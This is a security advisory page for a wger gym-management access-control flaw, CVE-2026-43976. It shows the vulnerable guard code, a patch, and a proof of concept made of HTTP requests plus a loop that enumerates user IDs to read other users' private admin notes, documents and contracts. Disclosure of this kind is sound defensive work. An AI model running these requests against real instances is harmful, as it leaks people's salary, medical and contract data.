CVE-2026-43976: wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)
Summary Five gym management views in wger apply a flawed gym-scope guard (gyma != gymb) that silently passes when both operands are None. A trainer with gym.gymtrainer and gym.addadminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance.
Published Oct 7, 2026 · Updated Oct 26, 2026
Affected packages
wger
- Ecosystem
- PyPI
- Affected
- <= 2.1
- Fixed in
- No patched version yet
- Check
pip show wger
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.
Details
Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py
The same flawed comparison pattern appears across at least five views:
# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
# user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
return HttpResponseForbidden()
# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member) # only filtered by member_idWhen both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.
Affected endpoints:
GET /en/gym/notes/list/user/<member_pk>-> admin notes list viewGET /en/gym/documents/list/user/<member_pk>-> documents list viewGET /en/gym/contract/list/<member_pk>-> contracts list viewGET /en/gym/user/<member_pk>/config-> user config viewGET /en/gym/user/<member_pk>/permissions-> permission edit view
Suggested patch:
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
- if request.user.userprofile.gym != user.userprofile.gym:
- return HttpResponseForbidden()
+ trainer_gym_id = request.user.userprofile.gym_id
+ member_gym_id = user.userprofile.gym_id
+
+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+ return HttpResponseForbidden()
# Also tighten the queryset with a gym-scoped secondary filter:
- notes = AdminUserNote.objects.filter(member=member)
+ notes = AdminUserNote.objects.filter(
+ member=member,
+ member__userprofile__gym_id=request.user.userprofile.gym_id,
+ )Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.
PoC
Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).
Step 1 - Authenticate as trainer with required perms and gym=None:
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]Step 2 - Read victim's private admin notes:
GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
-> 200 OK
body contains all private admin notes for user 2:
"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
"PHASE4_SECRET_SALARY_100K"Step 3 - Read victim's documents and contracts (same pattern):
GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2
-> 200 OK for each; all records disclosedStep 4 (optional) - Mass enumeration across all gym=None users:
Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)RBAC Disproof Protocol:
- Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
- Scenario B (trainer1, gym=None -> alice gym=None) -> HTTP 200 with PII in body (expected HTTP 403)
- Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is
None-specific)
Reproducibility: 2/2 runs after clean-baseline database reset.
Impact
An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:
- Enumerate and read all private admin notes for every other
gym=Noneuser (notes may contain salary data, medical notes, disciplinary records). - Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
- Read all gym contracts (financial terms, subscription details).
- Read user configuration details.
- Via the permissions endpoint, potentially modify victim permissions (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).
Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.
Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).
This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.
Credited to whatisproblem, zuhairhalawa.
References
- https://github.com/wger-project/wger/security/advisories/GHSA-c72h-82w6-rqfp
- https://github.com/wger-project/wger/releases/tag/2.6
- https://nvd.nist.gov/vuln/detail/CVE-2026-43976
- https://github.com/wger-project/wger/commit/b51f472ab2f790d8b4e67b4371bd6d1915af2930
- https://github.com/wger-project/wger/commit/e1d329ff4ef6213b0a1adc5daf115e6d8981190c
- https://github.com/pypa/advisory-database/tree/main/vulns/wger/PYSEC-2026-4313.yaml
- https://pypi.org/project/wger
- https://github.com/advisories/GHSA-c72h-82w6-rqfp
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-45161
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
medium5.4No fixOct 7, 2026CVE-2026-46434
wger: Trainer Privilege Escalation - Improper Privilege Management
high7.1No fixOct 7, 2026CVE-2026-46437
wger: API credentials remain valid after logout/password change
medium4.8No fixOct 7, 2026CVE-2026-46438
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
medium6.5No fixOct 7, 2026GHSA-mw8f-w6p8-xrf4
wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None
high8.5No fixMay 20, 2026CVE-2026-43977
wger Vulnerable to IDOR: Authenticated Users Can Read Any User's Private Workout Session Data via Template Routine API
high7.5No fixMay 14, 2026
